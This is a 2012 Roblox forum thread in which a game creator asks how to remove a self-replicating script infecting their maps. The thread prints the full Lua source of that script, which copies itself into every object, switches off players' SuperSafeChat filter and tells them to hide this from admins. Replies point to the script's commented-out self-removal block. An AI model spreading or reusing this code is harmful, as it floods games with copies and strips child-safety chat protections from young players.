generic image
Processing...
  • Games
  • Catalog
  • Develop
  • Robux
  • Search in Players
  • Search in Games
  • Search in Catalog
  • Search in Groups
  • Search in Library
  • Log In
  • Sign Up
  • Games
  • Catalog
  • Develop
  • Robux
   
ROBLOX Forum » Game Creation and Development » Scripting Helpers
Home Search
 

Re: Disinfecting help

Previous Thread :: Next Thread 
godzillabob5 is not online. godzillabob5
Joined: 14 Jul 2009
Total Posts: 1047
11 Mar 2012 09:31 PM
Hello, in one of my games, I have a bunch of maps that cycle.
However they have been infected by a strange Script that is apparently supposed to let guests talk. I need help removing it, since all of my efforts have failed and it is in every block in the game, causing lag.

I could really use a anti virus that works for this kind of thing.



Heres the bad script



--Farvei's totally awesome script that makes Guests talk
--Please give credit
--Don't tell the admins!
--Unnote the vaccine if you'd like to remove all copies of this script in your place
if (script.Parent == workspace) then
function checkForAndSwitch(player)
if (player.SuperSafeChat == true) then
player.SuperSafeChat = false;
wait(5);
local m = Instance.new("Message");
m.Text = "Hey People! Its stinko468!.";
m.Parent = player;
wait(5);
m.Text = "Just hit the /, and then type in your message..";
wait(5);
m.text = "Please DO NOT share your non-supersafe chat with the admins!"
m:Remove();
m = nil;
end
player = nil;
collectgarbage("collect");
end

function onChildAddedToPlayers(obj)
if (obj.className == "Player") then
checkForAndSwitch(obj);
local m = Instance.new("Message");
m.Text = "Non-supersafe chat people are able to talk here.";
m.Parent = obj;
wait(5);
m:Remove();
m = nil;
end
obj = nil;
collectgarbage("collect");
end

function onChildAddedToWorkspace(obj)
if (obj.className == "Model") then
if (game.Players:playerFromCharacter(obj) ~= nil) then
checkForAndSwitch(game.Players:playerFromCharacter(obj));
end
end
obj = nil;
collectgarbage("collect");
end

function findLowestLevel(obj)
local c = obj:GetChildren();
local lowestLevel = true;

for i, v in pairs(c) do
if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
lowestLevel = false;
wait();
findLowestLevel(v);
end
end

if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
if (obj ~= game.Lighting and obj ~= game.StarterPack) then
local s = script:Clone();
s.Parent = obj;
end
end
end

findLowestLevel(game);

game.Players.ChildAdded:connect(onChildAddedToPlayers);
game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
local findScript = workspace:FindFirstChild(script.Name);

if (findScript == nil) then
local s = script:Clone();
s.Parent = workspace;
end
end

--[[function findAllCopies(obj)
local c = obj:GetChildren();

for i, v in pairs(c) do
if (v.Name == script.Name and v.className == "Script" and v ~= script) then
v.Parent = nil;
elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
findAllCopies(v);
end
end
end

findAllCopies(game);

script.Parent = nil;]]
Report Abuse
godzillabob5 is not online. godzillabob5
Joined: 14 Jul 2009
Total Posts: 1047
11 Mar 2012 09:32 PM
It says to unote the vaccine, what does that mean?
Report Abuse
Darkmist101 is not online. Darkmist101
Joined: 30 Jul 2010
Total Posts: 6208
11 Mar 2012 09:35 PM
It means you should go to: wiki.roblox.com.

Then learn how to code,
reset your place,
and re-code the whole thing.
Report Abuse
godzillabob5 is not online. godzillabob5
Joined: 14 Jul 2009
Total Posts: 1047
14 Mar 2012 08:58 PM
There has got to be an easier way, besides i have build a huge amount of maps and i dont feel like throwing my work away
Report Abuse
godzillabob5 is not online. godzillabob5
Joined: 14 Jul 2009
Total Posts: 1047
15 Mar 2012 07:14 PM
bUmp
Report Abuse
KnightmareXD is not online. KnightmareXD
Joined: 14 Jul 2009
Total Posts: 11189
15 Mar 2012 07:16 PM
Re-coding won't affect your maps.

† KMXD †
Report Abuse
1billybob1 is not online. 1billybob1
Joined: 15 Jun 2008
Total Posts: 4852
15 Mar 2012 07:47 PM
Well, sadly, if all your bricks are infected, all your maps would be infected, too.
Report Abuse
godzillabob5 is not online. godzillabob5
Joined: 14 Jul 2009
Total Posts: 1047
27 Mar 2012 10:12 AM
cant someone just make a script that deletes it?
Report Abuse
d0g1 is not online. d0g1
Joined: 19 Jul 2011
Total Posts: 23
27 Mar 2012 12:46 PM
Most AV's will get it, just add the name of the script to the array of items that they search for

Report Abuse
jode6543 is not online. jode6543
Joined: 16 Jun 2009
Total Posts: 5363
27 Mar 2012 01:58 PM
... Morons. xD
"It says to unote the vaccine, what does that mean?"
Unnote = Uncomment.
Vaccine =
--[[function findAllCopies(obj)
local c = obj:GetChildren();

for i, v in pairs(c) do
if (v.Name == script.Name and v.className == "Script" and v ~= script) then
v.Parent = nil;
elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
findAllCopies(v);
end
end
end

findAllCopies(game);

script.Parent = nil;]]

Remove the --[[ and the ]]. Tada, it cleans itself up.
Report Abuse
Previous Thread :: Next Thread 
Page 1 of 1
 
 
ROBLOX Forum » Game Creation and Development » Scripting Helpers
   
 
   
  • About Us
  • Jobs
  • Blog
  • Parents
  • Help
  • Terms
  • Privacy

©2017 Roblox Corporation. Roblox, the Roblox logo, Robux, Bloxy, and Powering Imagination are among our registered and unregistered trademarks in the U.S. and other countries.



Progress
Starting Roblox...
Connecting to Players...
R R

Roblox is now loading. Get ready to play!

R R

You're moments away from getting into the game!

Click here for help

Check Remember my choice and click Launch Application in the dialog box above to join games faster in the future!

Gameplay sponsored by:
Loading 0% - Starting game...
Get more with Builders Club! Join Builders Club
Choose Your Avatar
I have an account
generic image